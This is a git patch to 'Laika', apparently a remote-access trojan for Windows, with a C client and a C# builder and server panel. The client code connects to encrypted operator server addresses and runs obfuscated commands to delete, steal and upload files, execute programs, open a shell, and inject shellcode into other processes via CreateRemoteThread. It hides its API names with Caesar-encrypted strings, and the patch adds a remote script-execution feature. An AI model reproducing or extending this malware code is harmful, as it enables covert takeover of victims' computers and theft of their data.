From 524d2f761533e0847e694705cee0c2f8e15fc072 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Thu, 22 Aug 2024 11:33:24 +0200 Subject: [PATCH] add: pasm integration, slow shellcode upload & disconnects fix, bot count fix --- .gitignore | 3 +- Laika.sln | 20 + Laika/Laika.vcxproj | 16 +- Laika/file_explorer.c | 32 +- Laika/libc.c | 60 + Laika/libc.h | 1 + Laika/main.c | 104 +- Laika/resolve_apis.c | 4 +- Laika/resolve_apis.h | 12 +- Laika/shellcode.c | 2 - Screenshots/builder.png | Bin 22814 -> 50890 bytes Screenshots/main_menu.png | Bin 10848 -> 21651 bytes Screenshots/pasm_editor.png | Bin 0 -> 31043 bytes Server/App.config | 10 +- Server/BuildMenu.Designer.cs | 110 +- Server/BuildMenu.cs | 304 +- Server/BuildMenu.resx | 3 + Server/FileExplorer.cs | 14 +- Server/Menu.Designer.cs | 101 +- Server/Menu.cs | 24 +- Server/PasmEditor.Designer.cs | 193 + Server/PasmEditor.cs | 189 + Server/PasmEditor.resx | 123 + Server/Program.cs | 2 - Server/Properties/Resources.Designer.cs | 10 + Server/Properties/Resources.resx | 17 +- Server/Resources/scenario.png | Bin 0 -> 12306 bytes Server/Server.csproj | 41 + Server/packages.config | 12 + data/get_winapis.py | 53 + data/win_apis.json | 17828 ++++++++++++++++++++++ readme.md | 10 +- 32 files changed, 19150 insertions(+), 148 deletions(-) create mode 100644 Screenshots/pasm_editor.png create mode 100644 Server/PasmEditor.Designer.cs create mode 100644 Server/PasmEditor.cs create mode 100644 Server/PasmEditor.resx create mode 100644 Server/Resources/scenario.png create mode 100644 Server/packages.config create mode 100644 data/get_winapis.py create mode 100644 data/win_apis.json diff --git a/.gitignore b/.gitignore index 4732f7c..14eedc9 100644 --- a/.gitignore +++ b/.gitignore @@ -5,4 +5,5 @@ Release x64 *.bin bin -obj \ No newline at end of file +obj +packages \ No newline at end of file diff --git a/Laika.sln b/Laika.sln index 5efafdc..68c3000 100644 --- a/Laika.sln +++ b/Laika.sln @@ -4,9 +4,17 @@ Microsoft Visual Studio Solution File, Format Version 12.00 VisualStudioVersion = 17.1.32407.343 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika\Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" + ProjectSection(ProjectDependencies) = postProject + {6365D58B-DF8C-46B2-A93D-78D988A34FE8} = {6365D58B-DF8C-46B2-A93D-78D988A34FE8} + EndProjectSection EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{ECBAF9B2-2988-480B-973E-50A6BDC7016E}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pasm", "pasm\msvc\pasm.vcxproj", "{6365D58B-DF8C-46B2-A93D-78D988A34FE8}" + ProjectSection(ProjectDependencies) = postProject + {ECBAF9B2-2988-480B-973E-50A6BDC7016E} = {ECBAF9B2-2988-480B-973E-50A6BDC7016E} + EndProjectSection +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -41,6 +49,18 @@ Global {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.Build.0 = Release|Any CPU {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.ActiveCfg = Release|Any CPU {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.Build.0 = Release|Any CPU + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|Any CPU.ActiveCfg = Debug|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|Any CPU.Build.0 = Debug|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x64.ActiveCfg = Debug|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x64.Build.0 = Debug|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x86.ActiveCfg = Debug|Win32 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x86.Build.0 = Debug|Win32 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|Any CPU.ActiveCfg = Release|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|Any CPU.Build.0 = Release|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x64.ActiveCfg = Release|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x64.Build.0 = Release|x64 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x86.ActiveCfg = Release|Win32 + {6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index 73cee7a..03204ed 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -74,6 +74,7 @@ true ..\bin\ ..\obj\ + $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) true @@ -84,11 +85,13 @@ false ..\bin\ ..\obj\ + $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) true ..\bin\ ..\obj\ + $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) false @@ -97,6 +100,7 @@ * ..\bin\ ..\obj\ + $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) false @@ -117,7 +121,7 @@ Console true - %(AdditionalDependencies) + pasm.lib;%(AdditionalDependencies) true main true @@ -147,7 +151,7 @@ false - %(AdditionalDependencies) + pasm.lib;%(AdditionalDependencies) @@ -165,11 +169,12 @@ _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true MultiThreaded + stdcpp20 Console true - msvcrt.lib;%(AdditionalDependencies) + pasm.lib;msvcrt.lib;%(AdditionalDependencies) @@ -178,18 +183,19 @@ true true true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true Disabled Neither MultiThreaded + stdcpp20 Console true true true - %(AdditionalDependencies) + pasm.lib;%(AdditionalDependencies) false diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 0d61a08..712a8e0 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -72,7 +72,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { // Add the file/folder name to the array if (numFound >= maxFiles) { maxFiles *= 2; - fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*)); + fileList = (char**)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*)); } fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1); strcpy(fileList[numFound], fileName); @@ -95,10 +95,10 @@ char* get_file_list(const char* dirPath, int* numFiles) { if (i < numFound - 1) { strcat(fileNames, "/"); } - Api.HeapFree(_crt_heap, 0, fileList[i]); + Api.Heapfree_(_crt_heap, 0, fileList[i]); } - Api.HeapFree(_crt_heap, 0, fileList); + Api.Heapfree_(_crt_heap, 0, fileList); // Set the numFiles parameter to the number of files/folders found *numFiles = numFound; @@ -186,7 +186,7 @@ int download_file(HANDLE fp, SOCKET sock) { FD_SET(sock, &write_fds); if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) { - Api.HeapFree(_crt_heap, 0, data); + Api.Heapfree_(_crt_heap, 0, data); Api.CloseHandle(fp); Sleep_(Sleep_TIME); return 0; @@ -194,7 +194,7 @@ int download_file(HANDLE fp, SOCKET sock) { } else { Api.send(sock, "", strlen(""), 0); - Api.HeapFree(_crt_heap, 0, data); + Api.Heapfree_(_crt_heap, 0, data); Api.CloseHandle(fp); Sleep_(Sleep_TIME); return 0; @@ -209,7 +209,7 @@ int download_file(HANDLE fp, SOCKET sock) { Api.send(sock, "", strlen(""), 0); Api.CloseHandle(fp); - Api.HeapFree(_crt_heap, 0, data); + Api.Heapfree_(_crt_heap, 0, data); return 1; } @@ -239,7 +239,7 @@ void upload_file(SOCKET sock, HANDLE file_handle) { } // Close the file handle - Api.HeapFree(_crt_heap, 0, buffer); + Api.Heapfree_(_crt_heap, 0, buffer); return; } @@ -253,7 +253,7 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) { int num_bytes = 0; size_t buffer_capacity = BUFFER_SIZE; - int iOptVal = 5000; + int iOptVal = 500; int iOptLen = sizeof(int); Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen); @@ -262,13 +262,13 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) { while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) { if (num_bytes > 0) { *total_bytes += num_bytes; - // Reallocate the buffer if necessary + // realloc_ate the buffer if necessary if (*total_bytes + BUFFER_SIZE > buffer_capacity) { buffer_capacity *= 2; - char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity); + char* new_buffer = (char*)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity); if (!new_buffer) { - Api.HeapFree(_crt_heap, 0, buffer); - return NULL; // Memory reallocation failed + Api.Heapfree_(_crt_heap, 0, buffer); + return NULL; // Memory realloc_ation failed } buffer = new_buffer; } @@ -277,11 +277,11 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) { buffer[*total_bytes] = '\0'; - // Reallocate to the exact size of the received data - char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes); + // realloc_ate to the exact size of the received data + char* final_buffer = (char*)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes); if (!final_buffer) { - Api.HeapFree(_crt_heap, 0, buffer); - return NULL; // Memory reallocation failed + Api.Heapfree_(_crt_heap, 0, buffer); + return NULL; // Memory realloc_ation failed } return final_buffer; diff --git a/Laika/libc.c b/Laika/libc.c index 11afff5..0f3b62d 100644 --- a/Laika/libc.c +++ b/Laika/libc.c @@ -19,6 +19,16 @@ char* strcpy_(char* dest, const char* src) { return dest; } +char* strncpy_(char* dest, const char* src, size_t n) { + size_t i = 0; + + for (; i < n && src[i] != 0; i++) + dest[i] = src[i]; + for (; i < n; i++) + dest[i] = 0; + return dest; +} + void *memset_(void* a, int val, size_t size) { if (a == NULL) return NULL; @@ -168,6 +178,56 @@ wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) { return NULL; } +char** split_lines(const char* fileContent, int* lineCount) { + int lines = 0; + const char* start = fileContent; + const char* end = fileContent; + char** result = NULL; + + while (*end != '\0') { + if (*end == '\n') { + int lineLength = end - start + 1; + + if (result == NULL) { + result = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, sizeof(char*) * (lines + 1)); + } + else { + result = Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, result, sizeof(char*) * (lines + 1)); + } + + result[lines] = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, lineLength + 1); + strncpy_(result[lines], start, lineLength); + result[lines][lineLength] = '\0'; + lines++; + + if (*end == '\r' && *(end + 1) == '\n') { + end++; + } + else if (*end == '\n' && *(end + 1) == '\r') { + end++; + } + + start = end + 1; + } + end++; + } + if (start != end) { + int lineLength = end - start; + if (result == NULL) { + result = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, sizeof(char*) * (lines + 1)); + } + else { + result = Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, result, sizeof(char*) * (lines + 1)); + } + result[lines] = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, lineLength + 1); + strncpy_(result[lines], start, lineLength); + result[lines][lineLength] = '\0'; // Null-terminate the line + lines++; + } + *lineCount = lines; + return result; +} + void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { if (hModule == NULL) { return NULL; diff --git a/Laika/libc.h b/Laika/libc.h index 306fb07..5e3e6fa 100644 --- a/Laika/libc.h +++ b/Laika/libc.h @@ -12,5 +12,6 @@ size_t mbstowcs_(wchar_t* dest, const char* src, size_t n); size_t wcstombs_(char* dest, const wchar_t* src, size_t n); int wcscmp_(const wchar_t* s1, const wchar_t* s2); wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle); +char** split_lines(const char* fileContent, int* lineCount); void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName); void* get_ntfunction(const char* func); diff --git a/Laika/main.c b/Laika/main.c index f3d352a..066fa84 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -1,4 +1,5 @@ #include "libc.h" +#include "../pasm/include/pasm.h" #include #include @@ -8,6 +9,7 @@ #include "utils.h" #include "config.h" #include "resolve_apis.h" +#include "libc.h" #include "file_explorer.h" #define SHELLCODE @@ -50,7 +52,7 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { } } - Api.HeapFree(_crt_heap, 0, buffer); + Api.Heapfree_(_crt_heap, 0, buffer); return 0; } @@ -86,7 +88,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { } } } - Api.HeapFree(_crt_heap, 0, buffer); + Api.Heapfree_(_crt_heap, 0, buffer); return 0; } @@ -162,7 +164,7 @@ retry: serv = 0; } - //on fait une copie de l'ip chiffrée, puis on la free + //on fait une copie de l'ip chiffrée, puis on la free_ //ça évite qu'elle reste dans la mémoire trop longtemps //ça évite aussi qu'on utilise CAESAR_DECRYPT sur une ip déjà décryptée size_t len = strlen(fallback_servers[serv]); @@ -171,7 +173,7 @@ retry: server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp)); - Api.HeapFree(_crt_heap, 0, Tmp); + Api.Heapfree_(_crt_heap, 0, Tmp); server.sin_port = Api.htons(fallback_servers_ip[serv]); @@ -211,14 +213,14 @@ retry: if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } Api.DeleteFileA(CAESAR_DECRYPT(path)); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); } if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir @@ -228,7 +230,7 @@ retry: if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -237,8 +239,8 @@ retry: delete_folder(wstr); - Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr); + Api.Heapfree_(_crt_heap, 0, path); } if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info @@ -248,12 +250,12 @@ retry: if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } char infos = get_obj_info(CAESAR_DECRYPT(path)); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); if (Api.send(sock, &infos, 1, 0) < 0) { //send failed Sleep_(Sleep_TIME); @@ -268,12 +270,12 @@ retry: if (Api.send(sock, drives, strlen(drives), 0) < 0) { //send failed - Api.HeapFree(_crt_heap, 0, drives); + Api.Heapfree_(_crt_heap, 0, drives); Sleep_(Sleep_TIME); goto retry; } - Api.HeapFree(_crt_heap, 0, drives); + Api.Heapfree_(_crt_heap, 0, drives); } if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute @@ -286,7 +288,7 @@ retry: memset_(&pi, 0, sizeof(pi)); if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -304,7 +306,7 @@ retry: &pi // Pointer to PROCESS_INFORMATION structure ); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); } #ifdef SHELLCODE @@ -313,7 +315,7 @@ retry: if (Api.recv(sock, arch, 2, 0) <= 0) { //send failed - Api.HeapFree(_crt_heap, 0, arch); + Api.Heapfree_(_crt_heap, 0, arch); Sleep_(Sleep_TIME); goto retry; } @@ -335,11 +337,11 @@ retry: proc = FindProcessByArch(L"x64"); } - Api.HeapFree(_crt_heap, 0, arch); + Api.Heapfree_(_crt_heap, 0, arch); if (proc == NULL) { Api.send(sock, "fail", strlen("fail"), 0); - Api.HeapFree(_crt_heap, 0, file); + Api.Heapfree_(_crt_heap, 0, file); Sleep_(Sleep_TIME); goto retry; } @@ -347,7 +349,7 @@ retry: LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (addr == NULL) { Api.send(sock, "fail", strlen("fail"), 0); - Api.HeapFree(_crt_heap, 0, file); + Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); goto retry; @@ -355,7 +357,7 @@ retry: if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) { Api.send(sock, "fail", strlen("fail"), 0); - Api.HeapFree(_crt_heap, 0, file); + Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); goto retry; @@ -364,13 +366,13 @@ retry: HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); if (hThread == NULL) { Api.send(sock, "fail", strlen("fail"), 0); - Api.HeapFree(_crt_heap, 0, file); + Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); goto retry; } - Api.HeapFree(_crt_heap, 0, file); + Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Api.CloseHandle(hThread); Api.send(sock, "ok", strlen("ok"), 0); @@ -384,8 +386,8 @@ retry: if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.HeapFree(_crt_heap, 0, file_list); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, file_list); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -394,8 +396,8 @@ retry: file_list = get_file_list(CAESAR_DECRYPT(path), &num_files); if (file_list == NULL) { - Api.HeapFree(_crt_heap, 0, file_list); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, file_list); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -403,13 +405,13 @@ retry: if (Api.send(sock, file_list, strlen(file_list), 0) < 0) { //send failed - Api.HeapFree(_crt_heap, 0, file_list); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, file_list); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); } if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file @@ -419,13 +421,13 @@ retry: if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); if (hFile == NULL) { @@ -446,7 +448,7 @@ retry: if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -455,17 +457,17 @@ retry: HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (file_handle == INVALID_HANDLE_VALUE) { - Api.HeapFree(_crt_heap, 0, path); - Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr); + Api.Heapfree_(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr); goto retry; } - Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr); + Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr); upload_file(sock, file_handle); Api.CloseHandle(file_handle); - Api.HeapFree(_crt_heap, 0, path); + Api.Heapfree_(_crt_heap, 0, path); } if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell @@ -591,11 +593,37 @@ retry: goto retry; } } + + if (strncmp_(server_reply, "ufxr", strlen("ufxr")) == 0) { //pasm + size_t fsize = 0; + char* file = upload_file_to_mem(sock, &fsize); + if (file == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); + Sleep_(Sleep_TIME); + goto retry; + } + + int line_count = 0; + char** lines = split_lines(file, &line_count); + if (lines == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); + Api.Heapfree_(_crt_heap, 0, file); + Sleep_(Sleep_TIME); + goto retry; + } + + pasm_run_script(NULL, lines, line_count, sock); + + Api.send(sock, "Qfnpf?%jsi%tk%xhwnuy", strlen("Qfnpf?%jsi%tk%xhwnuy"), 0); //Laika: end of script + Api.Heapfree_(_crt_heap, 0, file); + if (lines != NULL) + Api.Heapfree_(_crt_heap, 0, lines); + } } /* Never used Api.closesocket(sock); - FreeApis(); + free_Apis(); */ return 0; } @@ -618,4 +646,4 @@ BOOL APIENTRY main(HMODULE hModule, } return TRUE; } -*/ \ No newline at end of file +*/ diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 75ae467..26c1730 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -26,8 +26,8 @@ void InitApis() { Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF")); Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth")); Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj")); - Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj")); - Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth")); + Api.Heapfree_ = (THeapfree_)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj")); + Api.Heaprealloc_ = (THeaprealloc_)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth")); Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index da7ce38..a15fdd7 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -51,9 +51,9 @@ typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_ typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T); -typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID); +typedef BOOL(WINAPI* THeapfree_)(HANDLE, DWORD, LPVOID); typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T); -typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T); +typedef LPVOID(WINAPI* THeaprealloc_)(HANDLE, DWORD, LPVOID, SIZE_T); typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); @@ -85,8 +85,8 @@ typedef struct ApiList { TCreateProcessA CreateProcessA; TCreateRemoteThread CreateRemoteThread; THeapCreate HeapCreate; - THeapFree HeapFree; - THeapReAlloc HeapReAlloc; + THeapfree_ Heapfree_; + THeaprealloc_ Heaprealloc_; THeapAlloc HeapAlloc; TDeleteFileA DeleteFileA; TCreateFileW CreateFileW; @@ -116,5 +116,7 @@ typedef struct ApiList { TlstrcatW lstrcatW; } API; +extern API Api; + void InitApis(); -//void FreeApis(); Never called \ No newline at end of file +//void free_Apis(); Never called \ No newline at end of file diff --git a/Laika/shellcode.c b/Laika/shellcode.c index 428c406..b179f59 100644 --- a/Laika/shellcode.c +++ b/Laika/shellcode.c @@ -1,8 +1,6 @@ #include "shellcode.h" #include "libc.h" -extern API Api; - HANDLE FindProcessByArch(const wchar_t* arch) { STARTUPINFOW si; diff --git a/Screenshots/builder.png b/Screenshots/builder.png index 4e356d7b96292727620c2aac5dda251396dbe76f..a4252cfa8d9c55c29eb73875f79870f8edbdf7fc 100644 GIT binary patch literal 50890 zcmZU)WmKC{vjz$@1yVc|hY}!Iad-D(g%)=W?ye-VORFOxp}>)lkWbN35uZfUm`Ecb zfsquXB|dr?9<*Zl8ECoFH*IVr-~>cuaZ|lselO4bI<07;DMrtlcn714stUv7Hy>qw zq+TR*(sTktZi94z1b}Ob2^89u`01ybH_O)#%)gWI3-gubH&s%d#Q=nou`e+Dzu+d~ z@+mvnt<+zMLccYSG;S}RJ0o7#pLnEbC=Xk&=AUbir;PTWu60?oo`>BU7sn+xImdR- z7zOh-xwBk*fP&SV(1-SvqR-DPZMqxJJWsyqy(NJeao(b2>~i797vC11O9RxC&7x~B z@p{hx*sKYyZ?8R*loZuQtM#FEe=<;iA7XKz#v@5nTY`#`8 z2_34ZZ@|5M$^vFI%Y_6dJ>&xOsm7(+-j)kBmy+zuv_m8;0~^IrYA+rP31$j%a_YPUNoiz&ZYgAVZXL$k*up(lKs$y_@YP}V%x5kaXV`3G6S z^=PhL%z&%2>XCd`LpnRWEY6|K%Rs!WK-RGVrNEnSIqjLp%{f>nAaKg;ZOgZpH*b0uzdyAfSg_@} z4hw`CKAojZL=rIV98`~N&BUC}CqDb``=$b-jIa-;bf7Kb+utrxN}pq}eU?hte$2G( zQ8yXi4y>Q>ZSzt;&tp~|gV_>fZ}2)c2eGhVCY&lXoc*h$DN`3Jvid?ry(*~_KWPZu z3|;f|RLv(BzsvVlY9`pPLI?$#49gSe)x=K6fr3xRy}P&1H=aIg{k^+i%l&9u*9gi- z<=LUImv-Cj2mFtJ$XI`5ls)qJY|1c2Mw^GU-nPono{pdEadq&%5~Gda2fV-0(#v$#9_g*)d}lskq$KeD!!!+D;TgY@Da~M4|~>SFqoo;>$)gB`lOxt0l&7c zPJKYg$1|neXyF~%%3X;GGm)L$>(wOwGqnc>Z3fVi3Wx(^i=CPbv#=;{Jj(84+oJ_oBBmy}ZM3++Zz`Ej zB(?hW7F7>HL+ujni%%G8S`5F1#ZHp=*8*$_k){XjsUrAM7a+M5|9hVcH`;{VQYhsR zMJ;>Z%NQr(44F4%*ZpUmVn>&eNUwWT*=$cj^aH{9F|8^GQS6kx}@ql?A*KEwg=|UT$k9gn8&l56rC_cqvwf5H{Y)bSWgHm+Po|M#`=64YYdrHuzJbSb`!>@)0esNc9Gst zP?;@@c_NBlWunTcCG1QQhOp6`Ad)lruHS+@bx({${+x<>01ZK}H#+_yyZq-$vR=^^ zyO2`>1+g<*A*O^uHdw7lFEECwYEJMc&SMaSz>T0I0lqXeUPl?8=qqM}MbwKv&rg<_$ie56@bQ z>;LfaoH(W>t1HFG3)|oIC~&MK@JXZ0N$fJ|+bG-99>K-K1RLaatQEa_{Gwh!eOTK` zvt5GUr;*> z5YS>kop)X(q&1Zoi!v386_KgLb5m8bqvz|z`pfN^SQt)EL=ZS&-P5_juH<4pLt za2+T;kmBq4Okf6syy+}umYwljTkLZH0kpkrlB90zKgO?CuUzx`oL+GH{B^^4b|f*l zX)GU$dfpdox|{b@PwRKQE%+wS2xz_d&}2I@aiMtJ!p9EGzV8kEt{QzH9}nPL3vWiF zgv=hhSzK<%@N>n?`T9F5_TOuh=db@R)~wl+c)MTt8>`vpicF3x%V^_|~dV zF5|0*U#|C|2-67S0>7hgU0X4n`|IP(#R>Q0aNskFKEDS+ZVHwi?k-iI0xvqQ+f?tL zSK>zZJpw-mJj8g8_S74|yRNOL0ncCl6h29%&kH=FJigm)`wh{44qs6SzYN@;Gb-Hp 